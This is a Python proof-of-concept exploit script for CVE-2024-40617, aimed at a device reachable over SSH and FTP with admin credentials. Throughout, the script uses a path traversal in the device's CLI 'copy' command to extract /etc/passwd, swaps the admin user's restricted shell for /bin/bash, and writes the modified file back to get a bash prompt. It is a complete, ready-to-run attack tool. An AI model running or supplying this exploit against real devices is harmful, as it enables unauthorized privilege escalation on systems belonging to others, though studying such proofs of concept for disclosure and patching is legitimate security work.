#!/usr/bin/env python # July 2024 # CVE-2024-40617 PoC (Eddy HUYNH / Jonathan PAUC) import subprocess import re import sys import os import argparse try: import pexpect except ModuleNotFoundError: subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'pexpect']) import pexpect try: from ftplib import FTP except ModuleNotFoundError: subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'ftplib']) from ftplib import FTP class ColoredOutput: RED = '\033[91m' GREEN = '\033[92m' ORANGE = '\033[93m' CYAN = '\033[96m' RESET = '\033[0m' @staticmethod def print_success(message): print(f"{ColoredOutput.GREEN}{message}{ColoredOutput.RESET}") @staticmethod def print_error(message): print(f"{ColoredOutput.RED}{message}{ColoredOutput.RESET}") @staticmethod def print_content(message): print(f"{ColoredOutput.ORANGE}{message}{ColoredOutput.RESET}") @staticmethod def print_deploy_message(message): print(f"{ColoredOutput.CYAN}{message}{ColoredOutput.RESET}") @staticmethod def print_banner(): print(f"{ColoredOutput.ORANGE} __ __ ____ ____ ____ ___ {ColoredOutput.RESET}") print(f"{ColoredOutput.ORANGE}| \/ |___ \ _ __ ___ |___ \| _ \ / _ \__ ___ __ {ColoredOutput.RESET}") print(f"{ColoredOutput.ORANGE}| |\/| | __) | '_ ` _ \ __) | |_) | | | \ \ /\ / / '_ \ {ColoredOutput.RESET}") print(f"{ColoredOutput.ORANGE}| | | |/ __/| | | | | |/ __/| __/| |_| |\ V V /| | | |{ColoredOutput.RESET}") print(f"{ColoredOutput.ORANGE}|_| |_|_____|_| |_| |_|_____|_| \___/ \_/\_/ |_| |_|{ColoredOutput.RESET}") print(f"") class Payload: @staticmethod def generate(file_path): if not os.path.exists(file_path): ColoredOutput.print_error(f"[PAYLOAD] File [{file_path}] doesn't exist") return try: with open(file_path, 'r') as file: lines = file.readlines() modified_lines = [] for line in lines: modified_line = re.sub(r'^(admin:[^:]*:[^:]*:[^:]*::)//var/cli://sgw/usr/opt/cli/cli_sh$', r'\1/:/bin/bash', line) modified_lines.append(modified_line) with open(file_path, 'w') as file: file.writelines(modified_lines) ColoredOutput.print_success('[PAYLOAD] Payload successfully generated.') except Exception as e: ColoredOutput.print_error(f'[PAYLOAD] Error payload generation: {e}') @staticmethod def clean(file_path): if not os.path.exists(file_path): return try: os.remove(file_path) ColoredOutput.print_success(f'[PAYLOAD] Clean payload stage.') except Exception as e: ColoredOutput.print_error(f'[PAYLOAD] Error cleaning payload stage: {e}') class SSHConnection: def __init__(self, hostname, username="admin", password="admin", port=50022): self.hostname = hostname self.username = username self.password = password self.port = port self.connection = None def connect(self): try: self.connection = pexpect.spawn(f'ssh {self.username}@{self.hostname} -p {self.port}') self.connection.expect(f"admin@{self.hostname}'s password: ") self.connection.sendline(self.password) self.connection.expect(f"localhost# ") ColoredOutput.print_success(f'[SSH] Successfully connected to {self.hostname}') except pexpect.ExceptionPexpect as e: ColoredOutput.print_error(f'[SSH] Error during connection: {e}') def check_vulnerability(self): if self.connection: pass else: ColoredOutput.print_error('[SSH] Connection is not established') def copy_passwd(self): if self.connection: self.connection.sendline(f"copy ftp/../../etc/passwd ftp/deploy") self.connection.expect(f"localhost# ") ColoredOutput.print_deploy_message(f'[EXPLOIT] Passwd copy operation : {self.connection.before.decode()}') else: ColoredOutput.print_error('[SSH] Connection is not established') def exploit(self): if self.connection: self.connection.sendline(f"copy ftp/deploy/payload ftp/../../etc/passwd") self.connection.expect(f"localhost# ") ColoredOutput.print_deploy_message(f'[EXPLOIT] Exploit operation : {self.connection.before.decode()}') ColoredOutput.print_deploy_message(f'[+] Now connect to SSH service on {self.hostname} and now you have access to a Bash prompt') else: ColoredOutput.print_error('[SSH] Connection is not established') def disconnect(self): if self.connection: self.connection.sendline('exit') self.connection = None ColoredOutput.print_content('[SSH] Successfully disconnected') else: ColoredOutput.print_error('[SSH] No connection to close') class FTPConnection: def __init__(self, hostname, username='admin', password='admin', port=50021): self.hostname = hostname self.username = username self.password = password self.port = port self.connection = None def connect(self): try: self.connection = FTP() self.connection.connect(self.hostname, self.port) self.connection.login(self.username, self.password) ColoredOutput.print_success(f'[FTP] Connection succeeded to {self.hostname}') except Exception as e: ColoredOutput.print_error(f'[FTP] Connection error : {e}') def list_files(self, path="."): if self.connection: try: files = self.connection.nlst(path) for file in files: ColoredOutput.print_content(file) ColoredOutput.print_success(f'File list in {path}') except Exception as e: ColoredOutput.print_error(f'[FTP] Error retrieving file list: {e}') else: print('[FTP] Connection is not established') def upload_file(self, local_path, target_path): if not os.path.exists(local_path): ColoredOutput.print_error(f"[FTP] File [{local_path}] doesn't exist") return try: with open(local_path, 'rb') as file: self.connection.storbinary(f'STOR {target_path}', file) ColoredOutput.print_success(f'[FTP] File {local_path} successfully uploaded to {target_path}') except Exception as e: ColoredOutput.print_error(f'[FTP] Error uploading file [{local_path}]: {e}') def download_file(self, target_path, local_path): try: with open(local_path, 'wb') as file: self.connection.retrbinary(f'RETR {target_path}', file.write) ColoredOutput.print_success(f'[FTP] File {target_path} successfully downloaded to {local_path}') except Exception as e: ColoredOutput.print_error(f'[FTP] Error downloading file [{target_path}]: {e}') if os.path.exists(local_path): os.remove(local_path) def disconnect(self): if self.connection: self.connection.quit() self.connection = None ColoredOutput.print_content('[FTP] Successfully disconnected') else: ColoredOutput.print_error('[FTP] No connection to close') def check_vulnerability(hostname, username, password): print(f"Checking vulnerability for {hostname} with user {username}") ColoredOutput.print_error(f"TODO - Not yet implemented") print("") def exploit_vulnerability(hostname, username, password): print(f"Exploiting vulnerability for {hostname} with user {username}") print("") #FIRST STATE/ download original passwd ssh_conn = SSHConnection(hostname, username, password) ftp_conn = FTPConnection(hostname, username, password) ssh_conn.connect() ftp_conn.connect() ssh_conn.copy_passwd() ftp_conn.download_file('deploy/passwd', 'payload') #SECOND STAGE / Generate the payload Payload.generate('payload') #THIRD STAGE / upload payload to the target ftp_conn.upload_file('payload','deploy/payload') ssh_conn.exploit() # FOURTH STAGE / Decommissioning Payload.clean('payload') ssh_conn.disconnect() ftp_conn.disconnect() print("") def main(): ColoredOutput.print_banner() parser = argparse.ArgumentParser(description="CVE 2024-40617 Exploit PoC") parser.add_argument('--version', action='version', version='Version 1.0 / Eddy HUYNH | Jonathan PAUC') # Argument for the target hostname parser.add_argument('-t', '--target', help='Target hostname', required=True) parser.add_argument('-p', '--password', help='Admin Password', required=True) # Exclusive group for choosing between check and exploit group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-c', '--check', action='store_true', help='Check vulnerability (Not yet implemented)') group.add_argument('-e', '--exploit', action='store_true', help='Exploit vulnerability') args = parser.parse_args() if args.check: check_vulnerability(args.target, "admin", args.password) elif args.exploit: exploit_vulnerability(args.target, "admin", args.password) if __name__ == "__main__": main()